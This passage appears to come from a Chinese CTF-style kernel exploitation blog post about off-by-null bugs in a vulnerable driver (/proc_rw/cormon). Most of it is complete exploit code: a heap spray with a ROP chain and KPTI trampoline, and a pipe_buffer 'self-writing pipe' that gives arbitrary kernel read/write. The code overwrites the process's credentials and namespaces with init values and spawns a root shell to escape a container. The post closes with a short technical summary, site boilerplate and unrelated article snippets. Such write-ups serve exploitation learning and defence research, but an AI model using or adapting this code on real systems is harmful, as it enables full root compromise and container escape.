0xffffffff8102396f; // add rax, rcx ; ret*rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret*rop ++= 0;                                // rbx// kpti trampoline*rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22*rop ++= 0;*rop ++= 0;*rop ++= (uint64_t)&win;*rop ++= usr_cs;*rop ++= usr_rflags;*rop ++= (uint64_t)(stack + 0x5000);*rop ++= usr_ss;puts("[*] Freeing user keys...");free_all_keys(false);puts("[*] Spraying ROP chain...");for (int i = 0; i < 31; i++)keys[i] = alloc_key(n_keys++, buff, 600);puts("[*] Hijacking control flow...");for (int i = 0; i < 1024; i++)release_pipe_buff(i);// --- for (int i = 0; i < 256; i++)pthread_join(poll_tid[i], NULL);
}

第二种利用方式就是直接利用 pipe_buffer 去构造自写管道系统进行提权逃逸,这个利用方式就不多说了。
笔者 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/prctl.h>size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred, init_fs;size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{size_t page_count;page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;return vmemmap_base + page_count * 0x40;
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] %s\033[0m\n", msg);sleep(1);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[33m\033[1m[@] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_buffer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};#define PAGE_SIZE 4096
#define SPRAY_PIPE_NUMS 0xf0
#define S_PIPE_BUF_SZ 96
#define T_PIPE_BUF_SZ 192
#define SPRAY_KEY_NUMS 0x100int key_id[SPRAY_PIPE_NUMS];int pipe_fd[SPRAY_PIPE_NUMS][2];
int orig_idx = -1, victim_idx = -1;
int snd_orig_idx = -1, snd_victim_idx = -1;
int self_1_pipe_idx = -1, self_2_pipe_idx = -1, self_3_pipe_idx = -1;
struct pipe_buffer self_pipe_buf;
struct pipe_buffer self_1_pipe_buf, self_2_pipe_buf, self_3_pipe_buf;int fd;
void off_by_null(){char buf[PAGE_SIZE] = { 0 };write(fd, buf, PAGE_SIZE);
}
size_t kbase, koffset;void construct_first_level_page_uaf() {info("Step I - construct first level page uaf");puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT]");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");}puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl()");int k = 0, flag = 1;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");if (i > 4 && (i % 9) == 0 && flag) {char des[16] = { 0 };char val[4096] = { 0 };sprintf(des, "%s%d", "pwn_", i);if ((key_id[k++] = key_alloc(des, val, 4096-0x18)) < 0)printf("[+] user_key_payload -- kmalloc-4k: %d\n", k), flag = 0;}write(pipe_fd[i][1], "XiaozaYa", 8);write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], "AAAAAAAX", 8);write(pipe_fd[i][1], "BBBBBBBX", 8);}/*puts("[+] Freeing some pipe_buffer to kmalloc-4k / pipe_fd[3i]");for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {close(pipe_fd[i][0]);close(pipe_fd[i][1]);}
*/puts("[+] Trying to overwrite pipe_buffer.page");for (int i = 0; i < k; i++) {key_revoke(key_id[i]);key_unlink(key_id[i]);}sleep(1);off_by_null();/*puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT] / pipe_fd[2i]");for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");}puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl() / pipd_fd[2i]");for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");write(pipe_fd[i][1], "XiaozaYa", 8);write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], "AAAAAAAX", 8);write(pipe_fd[i][1], "BBBBBBBX", 8);}
*/puts("[+] Checking...");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {int nr = -1;char tag[16] = { 0 };read(pipe_fd[i][0], tag, 8);read(pipe_fd[i][0], &nr, sizeof(int));if (!strcmp(tag, "XiaozaYa") && i != nr) {orig_idx = nr;victim_idx = i;hexx("orig_idx", orig_idx);hexx("victim_idx", victim_idx);}}if (orig_idx == -1) err_exit("FAILED to overwrite pipe_buffer.page");puts("");}void construct_second_level_page_uaf() {info("Step II - construct second level page uaf");size_t buf[PAGE_SIZE] = { 0 };size_t s_pipe_sz = 0x1000 * (S_PIPE_BUF_SZ/sizeof(struct pipe_buffer));write(pipe_fd[victim_idx][1], buf, S_PIPE_BUF_SZ*2 - sizeof(int)*3 - 24);read(pipe_fd[victim_idx][0], buf, S_PIPE_BUF_SZ - sizeof(int) - 8);/*puts("[+] Spraying user_key_payload from kmalloc-96 [GFP_KERNEL]");int k = 0, flag = 1;for (int i = 0; i < 130 && flag; i++, k++) {char des[16] = { 0 };char val[96] = { 0 };sprintf(des, "%d", i);if ((key_id[i] = key_alloc(des, val, 90-0x18)) < 0)printf("[+] user_key_payload -- kmalloc-96: %d\n", k), flag = 0;}
*/close(pipe_fd[orig_idx][0]);close(pipe_fd[orig_idx][1]);sleep(1);puts("[+] Spraying pipe_buffer from kmalloc-96 [GFP_KERNEL_ACCOUNT] by fcntl()");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, s_pipe_sz) < 0) err_exit("ERROR at fcntl()");}
/*for (int i = 0; i < k; i++) {key_revoke(key_id[i]);key_unlink(key_id[i]);}
*/puts("[+] Checking...");read(pipe_fd[victim_idx][0], &self_pipe_buf, sizeof(struct pipe_buffer));if (self_pipe_buf.page < 0xffff000000000000ULL) err_exit("FAILED to occupy first level uaf page");binary_dump("self_pipe_buf", &self_pipe_buf, sizeof(struct pipe_buffer));hexx("pipe_buffer.page   ", self_pipe_buf.page);hexx("pipe_buffer.offset ", self_pipe_buf.offset);hexx("pipe_buffer.len    ", self_pipe_buf.len);hexx("pipe_buffer.ops    ", self_pipe_buf.ops);hexx("pipe_buffer.flags  ", self_pipe_buf.flags);hexx("pipe_buffer.private", self_pipe_buf.private);write(pipe_fd[victim_idx][1], &self_pipe_buf, sizeof(struct pipe_buffer));puts("[+] Checking...");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;int nr = -1;read(pipe_fd[i][0], &nr, sizeof(int));if (nr < SPRAY_PIPE_NUMS && i != nr) {snd_orig_idx = nr;snd_victim_idx = i;hexx("snd_orig_idx", snd_orig_idx);hexx("snd_victim_idx", snd_victim_idx);}}if (snd_orig_idx == -1) err_exit("FAILED to construct second level page uaf");puts("");
}void construct_self_writing_pipe() {info("Step III - construct self writing pipe");size_t buf[0x1000] = { 0 };struct pipe_buffer evil_pipe_buf;struct page* page_ptr;int t_pipe_sz = 0x1000 * (T_PIPE_BUF_SZ/sizeof(struct pipe_buffer));write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(int)*3 - 24);
/*puts("[+] Spraying user_key_payload from kmalloc-192 [GFP_KERNEL]");int k = 0, flag = 1;for (int i = 0; i < SPRAY_KEY_NUMS && flag; i++, k++) {char des[16] = { 0 };char val[192] = { 0 };sprintf(des, "%d", i);if ((key_id[i] = key_alloc(des, val, 190-0x18)) < 0)printf("[+] user_key_payload -- kmalloc-192: %d\n", k), flag = 0;}
*/close(pipe_fd[snd_orig_idx][0]);close(pipe_fd[snd_orig_idx][1]);puts("[+] Spraying pipe_buffer from kmalloc-192 [GFP_KERNEL_ACCOUNT] by fcntl()");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (i == snd_victim_idx || i == snd_orig_idx) continue;if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, t_pipe_sz) < 0) err_exit("ERROR at fcntl()");}puts("[+] Checking...");puts("[+] construct self writing pipe I");memcpy(&evil_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));evil_pipe_buf.offset = T_PIPE_BUF_SZ;evil_pipe_buf.len = T_PIPE_BUF_SZ;write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));page_ptr = NULL;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (i == snd_victim_idx || i == snd_orig_idx) continue;read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {self_1_pipe_idx = i;hexx("self_1_pipe_idx", self_1_pipe_idx);break;}}if (self_1_pipe_idx == -1) err_exit("FAILED to construct self_1_pipe");puts("[+] construct self writing pipe II");write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));page_ptr = NULL;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (i == snd_victim_idx || i == snd_orig_idx) continue;if (i == self_1_pipe_idx) continue;read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {self_2_pipe_idx = i;hexx("self_2_pipe_idx", self_2_pipe_idx);break;}}if (self_2_pipe_idx == -1) err_exit("FAILED to construct self_2_pipe");puts("[+] construct self writing pipe III");write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));page_ptr = NULL;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (i == snd_victim_idx || i == snd_orig_idx) continue;if (i == self_1_pipe_idx || i == self_2_pipe_idx) continue;read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {self_3_pipe_idx = i;hexx("self_3_pipe_idx", self_3_pipe_idx);break;}}if (self_3_pipe_idx == -1) err_exit("FAILED to construct self_3_pipe");puts("");
}void setup_self_writing_pipe()
{info("Step IV - setup self writing pipe system");memcpy(&self_1_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));memcpy(&self_2_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));memcpy(&self_3_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));self_2_pipe_buf.offset = T_PIPE_BUF_SZ * 3;self_2_pipe_buf.len = 0;self_3_pipe_buf.offset = T_PIPE_BUF_SZ;self_3_pipe_buf.len = 0;write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));}void arb_read(struct page* page_ptr, void* dst, size_t len)
{char buf[T_PIPE_BUF_SZ] = { 0 };self_1_pipe_buf.page = page_ptr;self_1_pipe_buf.offset = 0;self_1_pipe_buf.len = 0x1000;write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));read(pipe_fd[self_1_pipe_idx][0], dst, len);
}void arb_write(struct page* page_ptr, void* src, size_t len)
{char buf[T_PIPE_BUF_SZ] = { 0 };self_1_pipe_buf.page = page_ptr;self_1_pipe_buf.offset = 0;self_1_pipe_buf.len = 0;write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_1_pipe_idx][1], src, len);
}void pwn()
{info("NO PWN NO FUN");size_t buf[0x1000];puts("[+] Leaking vmemmap base and kernel offset by arb_read");vmemmap_base = (size_t)self_pipe_buf.page & 0xfffffffff0000000;int f = 10;for (;;){arb_read(vmemmap_base+157*0x40, buf, 8);if (f){hexx("data", buf[0]);f--;}if (buf[0] > 0xffffffff81000000 && (buf[0]&0xfff) == 0x040){kernel_base = buf[0] - 0x040;kernel_offset = kernel_base - 0xffffffff81000000;break;}vmemmap_base -= 0x10000000;}hexx("vmemmap_base", vmemmap_base);hexx("kernel_base", kernel_base);hexx("kernel_offset", kernel_offset);puts("[+] Searching for task_struct");uint64_t parent_task, current_task;uint64_t* comm_addr = NULL;size_t base = 0xffff000000000000;for (int i = 0; ; i++){memset(buf, 0, sizeof(buf));arb_read(vmemmap_base+i*0x40, buf, 0xff0);comm_addr = memmem(buf, 0xff0, "YES_I_CAN_DO", 0xc);if (comm_addr && comm_addr[-2] > base && comm_addr[-3] > base && comm_addr[-56] > base && comm_addr[-55] > base){//      parent_task = comm_addr[-56];current_task = comm_addr[-49] - 0x528;page_offset_base = (comm_addr[-49]&0xfffffffffffff000) - i*0x1000;page_offset_base &= 0xfffffffff0000000;break;}}//      hexx("parent_task", parent_task);hexx("current_task", current_task);hexx("page_offset_base", page_offset_base);/*size_t cinit_task = current_task;size_t pid_offset = 0x4e0 / 8;size_t real_parent_offset = 0x4f0 / 8;for (int i = 0; ; i++){memset(buf, 0, sizeof(buf));size_t look_page = direct_map_addr_to_page_addr(cinit_task);arb_read(look_page, buf, 0xff0);arb_read(look_page+0x40, &buf[512], 0xff0);size_t* look_buf = (size_t*)((char*)buf + (cinit_task&0xfff));if ((look_buf[pid_offset] & 0xffffffff) == 1) {break;}cinit_task = look_buf[real_parent_offset];}hexx("cinit_task", cinit_task);
*/puts("[+] Elevating privileges and Escaping container");init_fs   = 0xffffffff82589740 + kernel_offset;init_task = 0xffffffff82415940 + kernel_offset;init_cred = 0xffffffff8245a960 + kernel_offset;init_nsproxy = 0xffffffff8245a720 + kernel_offset;hexx("init_fs", init_fs);hexx("init_task", init_task);hexx("init_cred", init_cred);hexx("init_nsproxy", init_nsproxy);memset(buf, 0, sizeof(buf));size_t current_task_page = direct_map_addr_to_page_addr(current_task);arb_read(current_task_page, buf, 0xff0);arb_read(current_task_page+0x40, &buf[512], 0xff0);size_t* tsk_buf = (size_t*)((char*)buf + (current_task&0xfff));tsk_buf[211] = init_cred;tsk_buf[212] = init_cred;tsk_buf[220] = init_fs;tsk_buf[222] = init_nsproxy;arb_write(current_task_page, buf, 0xff0);arb_write(current_task_page+0x40, &buf[512], 0xff0);/*      memset(buf, 0, sizeof(buf));size_t cinit_task_page = direct_map_addr_to_page_addr(cinit_task);arb_read(cinit_task_page, buf, 0xff0);arb_read(cinit_task_page+0x40, &buf[512], 0xff0);tsk_buf = (size_t*)((char*)buf + (cinit_task&0xfff));tsk_buf[211] = init_cred;tsk_buf[212] = init_cred;tsk_buf[220] = init_fs;tsk_buf[222] = init_nsproxy;arb_write(cinit_task_page, buf, 0xff0);arb_write(cinit_task_page+0x40, &buf[512], 0xff0);
*/hexx("UID", getuid());system("/bin/sh");while(1) {}
}int main(int argc, char** argv, char** envp) {bind_core(0);save_status();fd = open("/proc_rw/cormon", O_RDWR);if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");if (prctl(PR_SET_NAME, "YES_I_CAN_DO", 0, 0, 0) != 0) err_exit("ERROR at prctl()");construct_first_level_page_uaf();construct_second_level_page_uaf();construct_self_writing_pipe();setup_self_writing_pipe();pwn();
//      getchar();puts("[~] EXP NERVER END!");return 0;
}

效果如下:成功率也还行,最后可以成功提权逃逸
在这里插入图片描述

总结

总的来说就是去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑去构造 UAF 了。

比如在 poll_list 利用方式中:

  • 先堆喷大量 32 字节大小的 user_key_payload

这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x200x400x800xa00xc00xe00x00

  • 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object

这里笔者存在一个问题,这种方式是不是只能针对 4096 大小的 off by null 呢?因为只有 poll_list 链的最后一个 poll_list 的大小才是可以控制的

  • 触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload
  • 然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF

pipe_buffer 构造自写管道也是一样的,pipe_buffer.page 指向的是一个 struct page 结构体,而该结构体大小为 0x40,所以其低字节可能为 0x400x800xc00x00

总的来说感觉利用 pipe_buffer 构造自写管道还是好一些,毕竟只需要堆喷 pipe_buffer,并且 pipe_buffer 的大小是可以通过 fcntl 修改的,并且其只需要一次 off by null 即可(当然 poll_list 利用方式也是只需要一次),所以似乎其也更加通用。

当然这里还是得讨论下另一个女友 msg_msg 了。在 CVE-2021-22555 中,msg_msg + sk_buf + pipe_buffer 仅仅利用 2 (null)字节溢出完成提权逃逸。但如果只是 off by null 呢?在原 CVE 的利用中,从消息是堆喷的 1024 大小,其低字节恒为 \x00,所以此时 off by null 似乎就不起作用了。但感觉还是有操作空间的,这里笔者就简单想了想,没有实操,后面有时间在探索探索吧。
其实道理很简单,这里我们仅仅是为了去构造 UAF,所以我们可以选择 kmalloc-8 ~ kmalloc-192 之间的 object 作为从消息去构造 kmalloc-8 ~ kmalloc-192UAF,比如这里就i可以选择 kmalloc-32 即利用 user_key_payload 去泄漏相关信息,并且观察 user_key_payloadmsg_msg 结构体你会发现,我们可以通过 setxattr 去控制 user_key_payload 的头 8 字节为 null也就是说可以控制 msg_msg 的头 8 字节,然后 msg_msg.nextuser_key_payloaddata 域,所以可以控制 msg_msg.next 从而可以构造任意释放原语。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/695592.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux 权限详解

目录 一、权限的概念 二、权限管理 三、文件访问权限的相关设置方法 3.1chmod 3.2chmod ax /home/abc.txt 一、权限的概念 Linux 下有两种用户&#xff1a;超级用户&#xff08; root &#xff09;、普通用户。 超级用户&#xff1a;可以再linux系统下做任何事情&#xff…

深信服技术认证“SCCA-C”划重点:深信服超融合HCI

为帮助大家更加系统化地学习云计算知识&#xff0c;高效通过云计算工程师认证&#xff0c;深信服特推出“SCCA-C认证备考秘笈”&#xff0c;共十期内容。“考试重点”内容框架&#xff0c;帮助大家快速get重点知识 划重点来啦 *点击图片放大展示 深信服云计算认证&#xff08;S…

Shell 脚本系列 | shell三剑客

目录 1、三剑客介绍2、三剑客之—grep1. 常用参数2. 常用示例1.过滤以#开头的行和空白行2.找出所有的mp3文件包含艺术家jayZ&#xff0c;不包含remix3.计算匹配项的数目4.在匹配字符串周围打印出行5.匹配显示所有IP 3、三剑客之一sed1.常用参数2.常用示例1. 奇数行后增加2. 删除…

http协议工具:apache详解

目录 一、常见的http服务程序 1、 Apache HTTP Server 介绍 1.1 apache 概念 1.2 apache 功能 1.3 apache 特性 2、MPM&#xff08;multi-processing module&#xff09;工作模式 2.1 prefork 2.2 worker 2.3 event 二、Apache HTTP Server安装和相关文件 1、安装方…

MySQL|MySQL基础(求知讲堂-学习笔记【详】)

MySQL基础 目录 MySQL基础一、 MySQL的结构二、 管理数据库1&#xff09;查询所有的数据库2&#xff09;创建数据库3&#xff09;修改数据库的字符编码4&#xff09;删除数据库5&#xff09;切换操作的数据库 三、表的概念四、字段的数据类型4.1 整型4.2 浮点型(float和double)…

Linux密码重置不求人:三种方法教你轻松搞定普通用户密码更改

在Linux服务器管理中&#xff0c;为普通用户设置和管理密码是一项基础且重要的任务。通过为普通用户设置登录密码&#xff0c;可以确保系统的安全性和用户访问的合法性。本文将详细介绍在Linux系统中&#xff0c;如何通过三种不同的方法为普通用户设置登录密码。 Linux下&…

基于 java springboot+layui仓库管理系统

基于 java springbootlayui仓库管理系统设计和实现 博主介绍&#xff1a;5年java开发经验&#xff0c;专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 央顺技术团队 Java毕设项目精品实战案例《1000套》 欢迎点赞 收藏 ⭐留言 文末获取源…

c++类和对象新手保姆级上手教学(下)

目录 前言&#xff1a; 初始化列表&#xff1a; explicit关键字&#xff1a; static成员&#xff1a; 友元函数&#xff1a; 友元类&#xff1a; 内部类&#xff1a; 匿名对象&#xff1a; 前言&#xff1a; 类和对象下篇中剩余的部分较为简单易理解&#xff0c;认真记住…

PC端封装侧边导航

PC端封装侧边导航 template <div v-if"showBox false" class"leftShow" click.stop"toggleBox"></div><div class"container" :class"{ show: showBox, fixed: fixedBox }"><div class"arrow&qu…

《C++ Primer Plus》《7、函数——C++的编程模块》

文章目录 前言1复习函数的基本知识1.1定义函数1.2函数原型和调用函数 2函数的参数和按值传递2.1多个参数2.2另一个接受两个参数的函数 3函数和数组3.1函数如何用指针来处理数组3.2将数组作为参数意味着什么3.3更多的数组函数示例3.4使用数组区间的函数3.5指针和const 4函数和二…

【实时渲染】图形处理单元

介绍 早期的图像加速技术是使用三角形扫描&#xff0c;将这些扫描的颜色通过插值显示在屏幕上&#xff0c;而且也拥有访问数据的能力&#xff0c;将这些访问的数据通过插值显示在屏幕上 程序内部又加上了许多的可见性的像素检查&#xff0c;如深度测试等&#xff0c;由于这些过…

Java集合1——Collection

集合是一种容器&#xff0c;用来装数据&#xff0c;类似于数组&#xff0c;但是集合的大小可变&#xff0c;开发中也经常能用到&#xff0c;为了满足不同的业务场景需求&#xff0c;JAVA还提供了不同特点的集合。 集合体系结构&#xff1a;单列集合(Collection)每个元素只包含…

uni-app 经验分享,从入门到离职(四)——页面栈以及页面跳转的 API(开发经验总结)

文章目录 &#x1f4cb;前言⏬关于专栏 &#x1f3af;什么是页面栈&#x1f9e9;页面跳转方法&#x1f4cc; uni.navigateTo(OBJECT)&#x1f4cc; uni.redirectTo(OBJECT)&#x1f4cc; uni.reLaunch(OBJECT)&#x1f4cc; uni.switchTab(OBJECT)&#x1f4cc; uni.navigateBa…

前端基础自学整理|HTML + JavaScript + DOM事件

目录 一、HTML 1、Html标签 2、Html元素 3、基本的HTML标签 二、CSS 样式 层叠样式表 三、JavaScript 使用示例 四、HTML DOM 通过可编程的对象模型&#xff0c;javaScript可以&#xff1a; window document 1、查找HTML元素 2、操作HTML元素 获取元素的属性 四…

跨境电商本土化运营:深度融合本地市场,提升用户体验与市场份额

随着全球经济的不断发展&#xff0c;跨境电商在国际贸易中扮演着越来越重要的角色。然而&#xff0c;单一地面对全球市场可能并不足以满足用户的多样化需求&#xff0c;因此&#xff0c;跨境电商需要与本地市场深度融合&#xff0c;实现本土化运营。本文Nox聚星将和大家探讨跨境…

Java Web演化史:从Servlet到SpringBoot的技术进程及未来趋势

引言 在快速演进的IT世界里&#xff0c;Java Web开发始终屹立不倒&#xff0c;它不仅承担着历史的厚重&#xff0c;也始终面向未来。 自诞生之日起&#xff0c;Java Web技术就在不断地进化&#xff0c;以适应不同时代的需求。 本文将回顾Java Web开发的重要里程碑&#xff0c;…

Java 后端面试指南

面试指南 TMD&#xff0c;一个后端为什么要了解那么多的知识&#xff0c;真是服了。啥啥都得了解 MySQL MySQL索引可能在以下几种情况下失效&#xff1a; 不遵循最左匹配原则&#xff1a;在联合索引中&#xff0c;如果没有使用索引的最左前缀&#xff0c;即查询条件中没有包含…

我国硅胶出口量有所下降 市场集中度有望不断提升

我国硅胶出口量有所下降 市场集中度有望不断提升 硅胶又称为硅酸凝胶、氧化硅胶等&#xff0c;是一种高活性吸附材料&#xff0c;在常温常压下多表现为一种具有开放多孔结构的透明或乳白色粒状非晶态物质。相较于其它化工材料&#xff0c;硅胶具有柔软、耐高温、耐腐蚀、绝缘性…

【C++练级之路】【Lv.8】【STL】list类的模拟实现

快乐的流畅&#xff1a;个人主页 个人专栏&#xff1a;《C语言》《数据结构世界》《进击的C》 远方有一堆篝火&#xff0c;在为久候之人燃烧&#xff01; 文章目录 引言一、结点二、迭代器2.1 成员变量与默认成员函数2.2 operator*2.3 operator->2.4 operator2.5 operator- …

Git详解及 github与gitlab使用

目录 1.1 关于版本控制 1.1.1 本地版本控制 1.1.2 集中化的版本控制系统 1.1.3 分布式版本控制系统 1.2 Git简介 1.2.1 Git历史 1.3 安装git 1.3.1 环境说明 1.3.2 Yum安装Git 1.3.3 编译安装 1.4 初次运行 Git 前的配置 1.4.1 配置git 1.4.2 获取帮助 1.5 获取 G…